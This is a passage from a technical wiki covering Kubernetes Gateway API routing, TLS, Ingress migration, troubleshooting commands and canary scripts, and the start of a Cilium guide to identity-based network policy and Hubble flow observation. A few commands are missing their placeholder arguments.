implementation-specific dialect headers: - { type: RegularExpression, name: user-agent, value: "^Mozilla.*" } backendRefs: [{ name: my-app, port: 80 }] ``` `PathPrefix` matches on path element boundaries, so `/api` matches `/api` and `/api/users` but not `/apiary`. Path values must start with `/` and are compared before any `URLRewrite` runs. Header names are case-insensitive and only the first value of a repeated header is considered. Hostnames on the route may be a precise name or a wildcard starting with `*.`; a wildcard matches exactly one or more labels, so `*.example.com` covers `a.example.com` and `a.b.example.com` but not `example.com`. When both the listener and the route set a hostname, the route is served only for the intersection, and a more specific route hostname beats a wildcard when two routes overlap. `kubectl explain` is the quickest way to see what your installed CRD version actually accepts: ```sh kubectl explain httproute.spec.rules.matches.path # allowed path types kubectl explain httproute.spec.rules.filters --recursive | head -60 kubectl explain httproute.spec.rules.retry 2>/dev/null || echo "retry not in this CRD bundle" ``` ## TLS modes A listener has two TLS modes. `Terminate` decrypts at the gateway using `certificateRefs`, so HTTPRoutes can inspect paths and headers; this is the default and the only mode that works with `HTTPRoute`. `Passthrough` forwards the encrypted stream by SNI to a backend that holds its own certificate, and only `TLSRoute` can attach to such a listener. ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: Gateway metadata: { name: edge, namespace: infra } spec: gatewayClassName: my-gateway-class listeners: - name: https protocol: HTTPS port: 443 hostname: "*.example.com" tls: mode: Terminate certificateRefs: - { kind: Secret, name: wildcard-example-com, namespace: certs } # needs a ReferenceGrant in certs options: example.com/min-tls-version: "1.2" # options are implementation-defined key/value pairs - name: tls-passthrough protocol: TLS port: 8443 hostname: db.example.com tls: { mode: Passthrough } # no certificateRefs; the backend terminates allowedRoutes: { kinds: [{ kind: TLSRoute }] } --- apiVersion: gateway.networking.k8s.io/v1 kind: TLSRoute metadata: { name: db, namespace: my-namespace } spec: parentRefs: [{ name: edge, namespace: infra, sectionName: tls-passthrough }] hostnames: [db.example.com] rules: - backendRefs: [{ name: my-db, port: 5432 }] --- apiVersion: gateway.networking.k8s.io/v1 kind: ReferenceGrant metadata: { name: allow-infra-gateways, namespace: certs } spec: from: [{ group: gateway.networking.k8s.io, kind: Gateway, namespace: infra }] to: [{ group: "", kind: Secret }] # omit name to allow every Secret in the namespace ``` The certificate Secret must be `kubernetes.io/tls` with `tls.crt` and `tls.key`. A `Terminate` listener with several `certificateRefs` selects by SNI; a client that sends no SNI gets the implementation's default, usually the first. Re-encrypting to the backend is a separate object, `BackendTLSPolicy`, attached to the Service rather than the route so the service owner controls how their backend is verified: ```yaml apiVersion: gateway.networking.k8s.io/v1 # v1 since Gateway API v1.4 kind: BackendTLSPolicy metadata: { name: my-app-tls, namespace: my-namespace } spec: targetRefs: [{ group: "", kind: Service, name: my-app }] validation: hostname: my-app.my-namespace.svc.cluster.local # SNI sent and name verified on the backend certificate caCertificateRefs: [{ group: "", kind: ConfigMap, name: internal-ca }] # ConfigMap with a ca.crt key # wellKnownCACertificates: System # alternative: trust the gateway's system CA bundle ``` Verify what the gateway presents with `openssl s_client -connect :443 -servername app.example.com /dev/null # what is attached where ``` ## Migrating from Ingress Ingress-NGINX was retired in March 2026 and receives no further fixes. [ingress2gateway](https://github.com/kubernetes-sigs/ingress2gateway) converts Ingress objects and common annotations to Gateway API resources as a starting point. | Ingress | Gateway API | | --- | --- | | `ingressClassName` | `gatewayClassName` on the Gateway | | `spec.tls` | `listeners[].tls.certificateRefs` | | `spec.rules[].host` | `hostnames` on the Route | | Path type `Prefix` | `path.type: PathPrefix` | | `nginx.ingress.kubernetes.io/rewrite-target` | `URLRewrite` filter | | `nginx.ingress.kubernetes.io/ssl-redirect` | `RequestRedirect` route on the HTTP listener | | Controller-specific canary annotations | `backendRefs[].weight` | Ingress-NGINX has behaviours that do not carry over, such as regex path matching and annotation-driven defaults. Run both side by side on different addresses, compare responses with `curl --resolve`, and move DNS last. See [Before you migrate](https://kubernetes.io/blog/2026/02/27/ingress-nginx-before-you-migrate/). ## Troubleshooting Gateway API | Symptom | Likely cause | Check | | --- | --- | --- | | Gateway has no address | Controller not running, or the load balancer is still provisioning | `kubectl describe gateway`, controller logs, `kubectl get svc -n ` | | `attachedRoutes: 0` on the listener | Namespace, hostname or `sectionName` mismatch | Route `status.parents[].conditions`, see the table above | | TLS handshake fails or serves the wrong certificate | Listener `ResolvedRefs=False`, or SNI does not match `hostname` | `openssl s_client -connect :443 -servername app.example.com` | | Works by IP with `Host` header, fails by name | DNS points somewhere else | `dig app.example.com`, [DNS](https://www.wiki.jodisand.me/dns/#a-name-that-will-not-resolve) | | Intermittent 503 | Some backends failing readiness | EndpointSlice membership over time | | Wrong backend answers | A more specific match on another route wins | List every route on that hostname and compare matches | | Route ignored after CRD upgrade | CRD versions older than the implementation expects | Bundle version annotation on the CRDs, implementation's compatibility matrix | | `Accepted=False` reason `UnsupportedValue` | Field such as `timeouts`, `retry` or a regex path not supported by this implementation | `kubectl describe httproute` message text, implementation's conformance report | | Certificate in another namespace never loads | Missing ReferenceGrant `from: Gateway` in the Secret's namespace | `kubectl get referencegrant -n -o yaml`, listener `ResolvedRefs` reason | | Passthrough listener accepts but nothing connects | `HTTPRoute` attached to a `TLS` listener, or client sends no SNI | `allowedRoutes.kinds`, `openssl s_client -servername` vs without | | Canary weight changed but traffic did not move | Controller reconciled an older cached route, or endpoints for the new backend are not ready | `status.parents[].conditions[].observedGeneration` vs `metadata.generation`, EndpointSlice for the canary | | gRPC calls fail with `UNIMPLEMENTED` | Method match too narrow, or `HTTPRoute` on the same hostname won the conflict | `kubectl get grpcroute,httproute -A` filtered by hostname | | Redirect loop on HTTPS | `RequestRedirect` rule attached to the HTTPS listener as well as HTTP | `parentRefs[].sectionName` on the redirect route | | Header filter has no effect | Filter placed under a `backendRefs[]` entry, not the rule, or a policy on the Gateway overrides it | `kubectl get httproute -o yaml`, implementation policy CRDs | For timing and status code analysis of the requests themselves, see [HTTP](https://www.wiki.jodisand.me/http/#timing). ## Oneliners ```sh # Every route and the parents it claims kubectl get httproute -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\t"}{.spec.parentRefs[*].name}{"\n"}{end}' # Routes that failed to attach to at least one parent kubectl get httproute -A -o json | jq -r '.items[] | select([.status.parents[]?.conditions[]? | select(.type=="Accepted" and .status!="True")] | length > 0) | "\(.metadata.namespace)/\(.metadata.name)"' # Attached route count per listener kubectl get gateway -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\t"}{range .status.listeners[*]}{.name}={.attachedRoutes}{" "}{end}{"\n"}{end}' # Gateway addresses kubectl get gateway -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\t"}{.status.addresses[*].value}{"\n"}{end}' # Hit a host through the gateway address, ignoring DNS and keeping SNI correct curl -sv --resolve app.example.com:443:"$(kubectl get gateway web -n infra -o jsonpath='{.status.addresses[0].value}')" https://app.example.com/healthz # Certificates referenced by every listener kubectl get gateway -A -o json | jq -r '.items[].spec.listeners[]?.tls?.certificateRefs[]?.name' | sort -u # Backends referenced by routes that have no EndpointSlice (same-namespace refs) kubectl get httproute -A -o json | jq -r '.items[] | .metadata.namespace as $ns | .spec.rules[].backendRefs[]? | "\(.namespace // $ns) \(.name)"' | sort -u | while read -r ns svc; do kubectl get endpointslice -n "$ns" -l kubernetes.io/service-name="$svc" --no-headers 2>/dev/null | grep -q . || echo "$ns/$svc has no endpoints"; done # Controller errors (Envoy Gateway; substitute your implementation's namespace and deployment) kubectl logs -n envoy-gateway-system deploy/envoy-gateway --tail 200 | grep -iE 'error|reject' # Installed CRD bundle version and channel kubectl get crd gateways.gateway.networking.k8s.io -o jsonpath='{.metadata.annotations.gateway\.networking\.k8s\.io/bundle-version}{"\t"}{.metadata.annotations.gateway\.networking\.k8s\.io/channel}{"\n"}' # Which Gateway API kinds are installed at all kubectl api-resources --api-group=gateway.networking.k8s.io -o name # GatewayClasses and whether a controller has accepted them kubectl get gatewayclass -o custom-columns='NAME:.metadata.name,CONTROLLER:.spec.controllerName,ACCEPTED:.status.conditions[?(@.type=="Accepted")].status' # Every hostname served by any route, with the route that claims it kubectl get httproute,grpcroute,tlsroute -A -o json | jq -r '.items[] | .metadata.namespace as $ns | .metadata.name as $n | .kind as $k | .spec.hostnames[]? | "\(.)\t\($k) \($ns)/\($n)"' | sort # Hostnames claimed by more than one route (precedence surprises live here) kubectl get httproute -A -o json | jq -r '.items[].spec.hostnames[]?' | sort | uniq -d # Routes whose status lags their spec (controller has not reconciled the latest edit) kubectl get httproute -A -o json | jq -r '.items[] | select(.metadata.generation != (.status.parents[0].conditions[0].observedGeneration // 0)) | "\(.metadata.namespace)/\(.metadata.name) gen=\(.metadata.generation)"' # Every listener with its protocol, port, hostname and TLS mode kubectl get gateway -A -o json | jq -r '.items[] | .metadata.namespace as $ns | .metadata.name as $n | .spec.listeners[] | "\($ns)/\($n)\t\(.name)\t\(.protocol):\(.port)\t\(.hostname // "*")\t\(.tls.mode // "-")"' # Listeners in conflict kubectl get gateway -A -o json | jq -r '.items[] | .metadata.namespace as $ns | .metadata.name as $n | .status.listeners[]? | select(any(.conditions[]; .type=="Conflicted" and .status=="True")) | "\($ns)/\($n) listener \(.name)"' # Weighted splits currently in force kubectl get httproute -A -o json | jq -r '.items[] | .metadata.namespace as $ns | .metadata.name as $n | .spec.rules[] | select((.backendRefs // []) | length > 1) | "\($ns)/\($n)\t" + ([.backendRefs[] | "\(.name)=\(.weight // 1)"] | join(" "))' # Shift a canary to 50/50 (rule index 1, backends 0 and 1) kubectl patch httproute my-app -n my-namespace --type json -p '[{"op":"replace","path":"/spec/rules/1/backendRefs/0/weight","value":50},{"op":"replace","path":"/spec/rules/1/backendRefs/1/weight","value":50}]' # All ReferenceGrants and what they permit kubectl get referencegrant -A -o json | jq -r '.items[] | .metadata.namespace as $ns | "\($ns)/\(.metadata.name)\tfrom " + ([.spec.from[] | "\(.kind)@\(.namespace)"] | join(",")) + "\tto " + ([.spec.to[] | "\(.kind)/\(.name // "*")"] | join(","))' # Cross-namespace backendRefs that have no matching ReferenceGrant kubectl get httproute -A -o json | jq -r '.items[] | .metadata.namespace as $ns | .spec.rules[].backendRefs[]? | select(.namespace != null and .namespace != $ns) | "\($ns) -> \(.namespace)/\(.name)"' | sort -u | while read -r from _ to; do ns=${to%%/*}; kubectl get referencegrant -n "$ns" -o json | jq -e --arg f "$from" '.items[].spec.from[] | select(.kind=="HTTPRoute" and .namespace==$f)' >/dev/null 2>&1 || echo "no grant in $ns for routes from $from"; done # Certificate the gateway actually serves for a hostname openssl s_client -connect "$(kubectl get gateway web -n infra -o jsonpath='{.status.addresses[0].value}')":443 -servername app.example.com /dev/null | openssl x509 -noout -subject -issuer -dates # Days until each listener certificate expires kubectl get gateway -A -o json | jq -r '.items[] | .metadata.namespace as $ns | .spec.listeners[].tls.certificateRefs[]? | "\(.namespace // $ns) \(.name)"' | sort -u | while read -r ns s; do exp=$(kubectl get secret -n "$ns" "$s" -o jsonpath='{.data.tls\.crt}' | base64 -d | openssl x509 -noout -enddate | cut -d= -f2); echo "$ns/$s $(( ($(date -d "$exp" +%s) - $(date +%s)) / 86400 ))d"; done # Watch a route's conditions change while you edit it kubectl get httproute my-app -n my-namespace -w -o jsonpath='{.status.parents[0].conditions[*].reason}{"\n"}' # Does a header-based canary match: send the header and read which backend answered curl -s -o /dev/null -w '%{http_code} %{time_total}s\n' -H 'x-canary: always' --resolve app.example.com:443:"$GW_IP" https://app.example.com/ # Fire 100 requests and count status codes during a weight shift for _ in $(seq 100); do curl -s -o /dev/null -w '%{http_code}\n' --resolve app.example.com:443:"$GW_IP" https://app.example.com/; done | sort | uniq -c # Live-render what kubectl would send before applying a route edit kubectl apply -f route.yaml --dry-run=server -o yaml | yq '.status // "no status: object is new"' # Delete every route that points at a Service which no longer exists (prints first; remove echo to act) kubectl get httproute -A -o json | jq -r '.items[] | .metadata.namespace as $ns | .metadata.name as $n | .spec.rules[].backendRefs[]? | "\($ns) \($n) \(.namespace // $ns) \(.name)"' | sort -u | while read -r rns rn sns svc; do kubectl get svc -n "$sns" "$svc" >/dev/null 2>&1 || echo kubectl delete httproute -n "$rns" "$rn"; done ``` ## Scripts Report every Gateway and Route in the cluster with its readiness, so a broken attachment shows up in one screen rather than one `describe` at a time. ```sh #!/usr/bin/env bash # gateway-status.sh: one line per Gateway listener and per Route parent with the conditions that matter set -euo pipefail cond() { jq -r --arg t "$2" '[.[]? | select(.type==$t)][0] | "\(.status // "?")/\(.reason // "-")"' <<<"$1"; } printf '== Gateways ==\n' kubectl get gateway -A -o json | jq -c '.items[]' | while read -r gw; do ns=$(jq -r .metadata.namespace <<<"$gw"); name=$(jq -r .metadata.name <<<"$gw") addr=$(jq -r '[.status.addresses[]?.value] | join(",") // "-"' <<<"$gw") prog=$(cond "$(jq '.status.conditions' <<<"$gw")" Programmed) printf '%s/%s addr=%s programmed=%s\n' "$ns" "$name" "${addr:--}" "$prog" jq -c '.status.listeners[]?' <<<"$gw" | while read -r l; do printf ' listener %-16s routes=%-3s accepted=%s resolved=%s conflicted=%s\n' \ "$(jq -r .name <<<"$l")" "$(jq -r .attachedRoutes <<<"$l")" \ "$(cond "$(jq .conditions <<<"$l")" Accepted)" "$(cond "$(jq .conditions <<<"$l")" ResolvedRefs)" \ "$(cond "$(jq .conditions <<<"$l")" Conflicted)" done done printf '\n== Routes ==\n' for kind in httproute grpcroute tlsroute; do kubectl get "$kind" -A -o json 2>/dev/null | jq -c '.items[]' | while read -r r; do ns=$(jq -r .metadata.namespace <<<"$r"); name=$(jq -r .metadata.name <<<"$r") parents=$(jq -c '.status.parents // []' <<<"$r") if [ "$parents" = "[]" ]; then printf '%s %s/%s NO STATUS (unseen by any controller)\n' "$kind" "$ns" "$name"; continue; fi jq -c '.[]' <<<"$parents" | while read -r p; do printf '%s %s/%s -> %s/%s accepted=%s resolved=%s\n' "$kind" "$ns" "$name" \ "$(jq -r '.parentRef.namespace // "'"$ns"'"' <<<"$p")" "$(jq -r .parentRef.name <<<"$p")" \ "$(cond "$(jq .conditions <<<"$p")" Accepted)" "$(cond "$(jq .conditions <<<"$p")" ResolvedRefs)" done done done ``` Promote a canary in steps, checking that the new backend has ready endpoints and that error rate stays low before each increase; on any failure it resets the weight to zero. ```sh #!/usr/bin/env bash # canary-promote.sh ROUTE NAMESPACE RULE_INDEX STABLE_IDX CANARY_IDX HOST # Steps the canary weight through 5, 25, 50, 100 and rolls back on a 5xx rate above 2%. set -euo pipefail route=$1 ns=$2 rule=$3 stable=$4 canary=$5 host=$6 gw_ip=${GW_IP:?set GW_IP to the gateway address} canary_svc=$(kubectl get httproute "$route" -n "$ns" -o jsonpath="{.spec.rules[$rule].backendRefs[$canary].name}") set_weights() { kubectl patch httproute "$route" -n "$ns" --type json -p "[ {\"op\":\"replace\",\"path\":\"/spec/rules/$rule/backendRefs/$stable/weight\",\"value\":$((100 - $1))}, {\"op\":\"replace\",\"path\":\"/spec/rules/$rule/backendRefs/$canary/weight\",\"value\":$1}]" >/dev/null } rollback() { echo "rolling back: canary weight 0" >&2; set_weights 0; exit 1; } trap rollback ERR ready=$(kubectl get endpointslice -n "$ns" -l kubernetes.io/service-name="$canary_svc" -o json | jq '[.items[].endpoints[]? | select(.conditions.ready==true)] | length') [ "$ready" -gt 0 ] || { echo "no ready endpoints behind $canary_svc" >&2; exit 1; } for w in 5 25 50 100; do set_weights "$w"; echo "canary=$w% stable=$((100 - w))%" sleep "${SETTLE:-30}" total=0 errors=0 for _ in $(seq "${PROBES:-100}"); do code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 --resolve "$host:443:$gw_ip" "https://$host/" || echo 000) total=$((total + 1)); case $code in 5*|000) errors=$((errors + 1));; esac done echo " probes=$total errors=$errors" [ $((errors * 100 / total)) -le 2 ] || rollback done echo "promotion complete" ``` Upstream reference: [Gateway API documentation](https://gateway-api.sigs.k8s.io/), [API specification](https://gateway-api.sigs.k8s.io/reference/api-spec/). --- # Cilium > Understand Cilium's identity-based policy and eBPF datapath, then trace dropped or misrouted flows with cilium-dbg and Hubble. Canonical: https://www.wiki.jodisand.me/cilium/ Reviewed: 2026-09-24 Related: [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Gateway API](https://www.wiki.jodisand.me/gateway-api/index.md), [iproute2](https://www.wiki.jodisand.me/iproute2/index.md), [DNS](https://www.wiki.jodisand.me/dns/index.md), [Linux performance](https://www.wiki.jodisand.me/linux-performance/index.md) ## Cheatsheet Written against Cilium 1.20. `cilium` is the cluster-level CLI run from your workstation. `cilium-dbg` runs inside each agent pod and only sees its own node. `hubble` needs Hubble Relay reachable, usually through `cilium hubble port-forward`. | Task | Command | | --- | --- | | Overall health | `cilium status --wait` | | Agent detail on one node | `kubectl exec -n kube-system -c cilium-agent -- cilium-dbg status --verbose` | | Endpoints on that node | `kubectl exec -n kube-system -- cilium-dbg endpoint list` | | Identity to label mapping | `kubectl exec -n kube-system -- cilium-dbg identity list` | | Watch drops live on that node | `kubectl exec -n kube-system -- cilium-dbg monitor --type drop` | | Flows for a pod, cluster-wide | `hubble observe --pod my-namespace/my-app --last 50` | | Only dropped flows | `hubble observe --verdict DROPPED --last 100` | | Why a flow was dropped | `hubble observe --to-pod my-namespace/my-app --verdict DROPPED -o json \| jq -r .flow.drop_reason_desc` | | Services programmed in eBPF | `kubectl exec -n kube-system -- cilium-dbg service list` | | Is kube-proxy replaced | `kubectl exec -n kube-system -- cilium-dbg status \| grep KubeProxyReplacement` | | End-to-end test (creates pods) | `cilium connectivity test` | | Policy realised on an endpoint | `kubectl exec -n kube-system -- cilium-dbg endpoint get -o json \| jq '.[0].status.policy.realized'` | | Support bundle | `cilium sysdump` | `kubectl exec ds/cilium` picks an arbitrary agent. Datapath state is per node, so target the agent on the node that runs the pod you are debugging: ```sh NODE=$(kubectl get pod my-app-7c9d -n my-namespace -o jsonpath='{.spec.nodeName}') kubectl get pod -n kube-system -l k8s-app=cilium --field-selector spec.nodeName="$NODE" -o name ``` ## How Cilium sees the cluster Cilium attaches eBPF programs to kernel networking hooks (TC, XDP and sockets) on each node, so packets are handled in the kernel rather than by iptables chains. Every pod becomes an *endpoint* with a numeric *identity* derived from its security-relevant labels. Policy is enforced on identities, not IP addresses. That indirection is the important part. Pods with the same labels share an identity, a rescheduled pod gets the same identity on its new node, and a policy decision is a hash-map lookup on (identity, port, protocol) rather than a walk through rules. The ipcache map translates remote IPs to identities, so a stale ipcache entry shows up as a wrong verdict. ```sh cilium status --wait # from outside the cluster kubectl exec -n kube-system -- cilium-dbg status --verbose # per-node agent view kubectl exec -n kube-system -- cilium-dbg endpoint list # endpoint ID, identity, labels, policy enforcement kubectl exec -n kube-system -- cilium-dbg identity list # identity to label mapping kubectl exec -n kube-system -- cilium-dbg bpf ipcache list # IP to identity (and tunnel endpoint) mapping ``` Reserved identities appear in verdicts and policy: | Identity | Meaning | | --- | --- | | `reserved:host` | The local node, including host-network pods | | `reserved:remote-node` | Other nodes in the cluster | | `reserved:kube-apiserver` | The API server endpoints | | `reserved:world` | Anything outside the cluster not matched by a CIDR rule | | `reserved:health` | Cilium health-check endpoints | | `reserved:init` | An endpoint whose identity is not resolved yet | | `reserved:unmanaged` | Pods not managed by Cilium, such as those started before it | | `reserved:ingress` | Cilium's Envoy for Ingress and Gateway API traffic | ## Datapath and IPAM | Routing mode | How packets cross nodes | When it applies | | --- | --- | --- | | Encapsulation (`routingMode=tunnel`, default) | VXLAN (default) or Geneve tunnel between nodes | Works on any underlay; costs 50 bytes (VXLAN) of MTU | | Native routing (`routingMode=native`) | The underlay routes pod CIDRs | The network knows pod routes, via BGP, cloud routes or `autoDirectNodeRoutes` on one L2 segment | | ENI, Azure or GKE IPAM | Pods get VPC addresses | Cloud-native addressing, no tunnel overhead | The default IPAM mode is `cluster-pool`: the operator hands each node a pod CIDR from a cluster-wide pool, and the agent allocates pod IPs from it. ```sh kubectl exec -n kube-system -- cilium-dbg status | grep -E 'Routing|IPAM|Masquerading' kubectl exec -n kube-system -- cilium-dbg status --all-addresses # every allocated IP and its owner kubectl get ciliumnode -o custom-columns='NODE:.metadata.name,CIDR:.spec.ipam.podCIDRs' kubectl -n kube-system get cm cilium-config -o yaml | grep -E 'routing-mode|tunnel-protocol|ipam|masquerade|kube-proxy-replacement' ``` Address exhaustion shows as pods stuck in `ContainerCreating` with a CNI error in `kubectl describe pod`. The IPAM line in `cilium-dbg status` shows allocated versus available for that node. ## kube-proxy replacement With `kubeProxyReplacement=true`, Cilium implements Services in eBPF. Socket-level load balancing translates a ClusterIP to a backend at `connect()` time, so the packet never carries the ClusterIP. `iptables -t nat -L` shows nothing useful on such a cluster; Service state lives in eBPF maps. The Helm default is `false`, which still load-balances ClusterIP traffic per packet but leaves NodePort and LoadBalancer handling to kube-proxy. ```sh kubectl exec -n kube-system -- cilium-dbg status | grep KubeProxyReplacement kubectl exec -n kube-system -- cilium-dbg service list # frontends and their backends kubectl exec -n kube-system -- cilium-dbg bpf lb list # the same, read from the eBPF map kubectl exec -n kube-system -- cilium-dbg bpf ct list | head # connection tracking entries ``` For node-external traffic (NodePort, LoadBalancer, externalIPs), Cilium uses SNAT by default: the node receiving the request forwards it to a backend on another node and the reply returns through the same node. `loadBalancer.mode=dsr` lets the backend reply directly to the client and preserves the client source IP. DSR needs native routing, or Geneve tunnelling with `loadBalancer.dsrDispatch=geneve`, and on AWS the source/destination check disabled. `loadBalancer.algorithm=maglev` gives consistent backend selection across nodes, so a node failure does not reshuffle existing flows. See [kube-proxy free](https://docs.cilium.io/en/stable/network/kubernetes/kubeproxy-free/) for the kernel requirements. ## Network policy Kubernetes NetworkPolicy works unchanged. CiliumNetworkPolicy adds L7 rules, DNS-based egress, entity selectors, deny rules and a cluster-wide variant. Policies are allow-lists: once any policy selects an endpoint for a direction, everything else in that direction is denied. Deny rules take precedence over allow rules. ```yaml apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: { name: my-app, namespace: my-namespace } spec: endpointSelector: matchLabels: { app: my-app } ingress: - fromEndpoints: [{ matchLabels: { app: web } }] toPorts: - ports: [{ port: "8080", protocol: TCP }] rules: http: - { method: "GET", path: "/v1/.*" } # L7: enforced by Envoy egress: - toEndpoints: [{ matchLabels: { "k8s:io.kubernetes.pod.namespace": kube-system, "k8s:k8s-app": kube-dns } }] toPorts: - ports: [{ port: "53", protocol: ANY }] rules: dns: [{ matchPattern: "*" }] # routes DNS through the DNS proxy; toFQDNs needs this - toFQDNs: [{ matchName: "api.vendor.example.com" }] toPorts: [{ ports: [{ port: "443", protocol: TCP }] }] - toEntities: ["kube-apiserver"] ``` L7 rules redirect matching traffic through the node-local Envoy proxy (the `cilium-envoy` DaemonSet by default), which adds latency and changes the datapath. Apply them where that cost is worth it. `toFQDNs` works by observing DNS responses in the agent's DNS proxy and allowing the returned IPs, which is why the DNS rule with `rules.dns` must also be present. A name resolved before the policy existed, or by a resolver that bypasses the proxy, is not allowed. `CiliumClusterwideNetworkPolicy` uses the same schema without a namespace. Use it for baseline rules such as "everything may reach CoreDNS, nothing may reach the cloud metadata service". Host policies are clusterwide policies with a `nodeSelector` instead of an `endpointSelector`, and only take effect with `hostFirewall.enabled=true`. > [!WARNING] Host policies can remove your access > A host policy that selects a node without allowing SSH, kubelet (10250) and API server traffic cuts the node off. Put the host endpoint in audit mode first (`cilium-dbg endpoint config PolicyAuditMode=Enabled`), confirm with `cilium-dbg monitor -t policy-verdict` that only expected flows show `action audit`, and keep console access to one node while rolling out. See [host firewall](https://docs.cilium.io/en/stable/security/host-firewall/). ```sh kubectl get cnp,ccnp -A kubectl exec -n kube-system -- cilium-dbg policy get # all rules the agent holds kubectl exec -n kube-system -- cilium-dbg endpoint get -o json | jq '.[0].status.policy.realized' ``` ### Policy examples by layer Start every namespace with a default deny that still allows DNS and health checks, then add per-application allow rules. Without the DNS egress, the first `toFQDNs` rule silently blocks everything. ```yaml apiVersion: cilium.io/v2 kind: CiliumNetworkPolicy metadata: { name: default-deny, namespace: my-namespace } spec: endpointSelector: {} # every pod in the namespace ingress: - fromEntities: [health] # keep cilium-health probes working egress: - toEndpoints: - matchLabels: { "k8s:io.kubernetes.pod.namespace": kube-system, "k8s:k8s-app": kube-dns } toPorts: - ports: [{ port: "53", protocol: ANY }] rules: { dns: [{ matchPattern: "*" }] } ``` L3 rules select by identity, CIDR or entity. `toCIDR` matches only addresses outside the cluster (pod and node IPs are always resolved to identities first), and `toCIDRSet` with `except` carves holes. ```yaml egress: - toCIDRSet: - cidr: 192.0.2.0/24 except: [192.0.2.1/32] # allow the subnet but not the router - toEntities: [world] # anything not in the cluster; broad, prefer toFQDNs or toCIDR toPorts: [{ ports: [{ port: "443", protocol: TCP }] }] - icmps: # ICMP is not covered by toPorts - fields: [{ type: 8, family: IPv4 }] # echo request ``` L4 rules narrow by port and protocol; a `toPorts` entry with a `rules` block becomes L7 and is redirected through Envoy. Kafka and generic L7 (`l7proto`) exist alongside `http` and `dns`. An explicit deny wins over every allow and does not need a port to be broad: ```yaml apiVersion: cilium.io/v2 kind: CiliumClusterwideNetworkPolicy metadata: { name: block-metadata } spec: endpointSelector: {} egressDeny: - toCIDR: [169.254.169.254/32] # cloud metadata endpoint, denied for every pod in the cluster ``` ```yaml ingress: - fromEndpoints: [{ matchLabels: { app: frontend } }] toPorts: - ports: [{ port: "8080", protocol: TCP }] rules: http: - method: GET path: "/api/v1/.*" headers: ["X-Request-Source: frontend"] # header must be present with this value - method: POST path: "/api/v1/orders" ``` An L7 rule that matches nothing returns HTTP 403 from Envoy, visible in Hubble as an `http-request` flow with verdict `DROPPED` rather than a packet-level `POLICY_DENIED`. Use `hubble observe --type l7 --http-status 403` to find them. Policies can also carry `enableDefaultDeny: { ingress: false }` (1.15+) to add allow rules without switching the endpoint into default-deny for that direction, which is the safe way to introduce policy into a namespace that had none. ## Hubble flow observability Hubble reads flow events from the same eBPF programs that enforce policy, so a verdict in Hubble is the verdict the datapath applied, not a reconstruction. Relay aggregates flows from every node; each agent keeps a ring buffer (4095 flows by default), so `--last` only reaches back a few seconds on a busy node. ```sh cilium hubble enable --ui # enables Hubble, deploys Relay and the UI cilium hubble port-forward & # exposes Relay on localhost:4245 hubble status hubble observe --pod my-namespace/my-app --last 50 hubble observe --verdict DROPPED --last 100 hubble observe --to-pod my-namespace/my-app --port 8080 -f hubble observe --protocol dns --last 20 hubble observe --verdict DROPPED -o json | jq -r '.flow | [.source.pod_name, .destination.pod_name, .drop_reason_desc] | @tsv' ``` `-o json` prints one object per line with the flow under `.flow`. | Drop reason | Meaning | | --- | --- | | `POLICY_DENIED` | No allow rule for this identity pair and port | | `POLICY_DENY` | An explicit deny rule matched | | `AUTH_REQUIRED` | The policy requires mutual authentication that has not completed | | `CT_MAP_INSERTION_FAILED` | Connection tracking table full; raise `bpf.ctTcpMax` / `bpf.ctAnyMax` or `bpf.mapDynamicSizeRatio` | | `SERVICE_BACKEND_NOT_FOUND` | Service has no backend in the datapath, usually zero ready endpoints | | `STALE_OR_UNROUTABLE_IP` | Packet addressed to an IP no longer owned by a local endpoint | | `UNSUPPORTED_L3_PROTOCOL` | Non-IP traffic on a managed interface | | `INVALID_SOURCE_IP` | Source IP not owned by the sending endpoint (spoofing or misconfigured pod) | ### Hubble CLI filters Every filter has a `--from-` and `--to-` variant and an undirected form; `--not` negates the filter that follows it. Filters of the same kind are ORed, different kinds are ANDed, and `--print-raw-filters` shows exactly what the CLI sends to Relay. ```sh hubble observe --since 5m --namespace my-namespace # time window instead of --last hubble observe --from-pod my-namespace/my-app --to-fqdn '*.example.com' # DNS-resolved destinations hubble observe --type policy-verdict --verdict DROPPED --since 2m # policy decisions only hubble observe --type l7 --http-method POST --http-status 5xx -f # L7 flows through Envoy hubble observe --type l7 --protocol dns --since 1m -o json | jq -r 'select(.flow.l7.dns.rcode==3) | .flow.l7.dns.query' | sort | uniq -c # NXDOMAIN hubble observe --from-label reserved:world --to-namespace my-namespace # what is reaching in from outside hubble observe --identity 16777217 --since 1m # by numeric identity (CIDR identities start at 16777216) hubble observe --node-name ip-10-0-1-23.example.com --verdict DROPPED # one node's drops hubble observe --not --to-namespace kube-system --verdict DROPPED # exclude noise hubble observe --drop-reason-desc CT_MAP_INSERTION_FAILED --since 10m # a specific drop reason hubble observe --to-service my-namespace/my-app --since 1m # traffic to a ClusterIP hubble observe -o compact --since 30s | head # shorter than the default output hubble list nodes # which agents Relay can reach hubble list namespaces # namespaces with flows in the last hour ``` `--type` accepts `drop`, `trace`, `l7`, `policy-verdict`, `capture` and `trace-sock`. `-o jsonpb` prints protobuf JSON identical to the API, and `--cel-expression` (1.16+) accepts a CEL filter for anything the flags cannot express. Hubble metrics (`hubble.metrics.enabled` in Helm, for example `{dns,drop,tcp,flow,port-distribution,icmp,httpV2:exemplars=true;labelsContext=source_ip\,source_namespace\,destination_namespace}`) export the same data to [Prometheus](https://www.wiki.jodisand.me/prometheus/) as `hubble_*` series and are the right tool for sustained drop rates rather than the ring buffer. ## Cluster Mesh Cluster Mesh joins several clusters into one identity and service domain. Each cluster runs a `clustermesh-apiserver` that exposes its state through a shared etcd; agents in every other cluster connect to it, learn remote identities and endpoints, and program them into their ipcache. Policy then works across clusters by label, and a Service annotated as global load-balances to backends in every cluster. Prerequisites are strict: every cluster needs a unique `cluster.name` and `cluster.id` (1 to 255, or up to 511 with `maxConnectedClusters=511`), non-overlapping pod CIDRs, node-to-node reachability on the pod network (tunnel or native), and the API server reachable from remote nodes, typically as a LoadBalancer Service. ```sh # During install: identify each cluster cilium install --set cluster.name=sydney --set cluster.id=1 --context sydney cilium install --set cluster.name=melbourne --set cluster.id=2 --context melbourne cilium clustermesh enable --context sydney --service-type 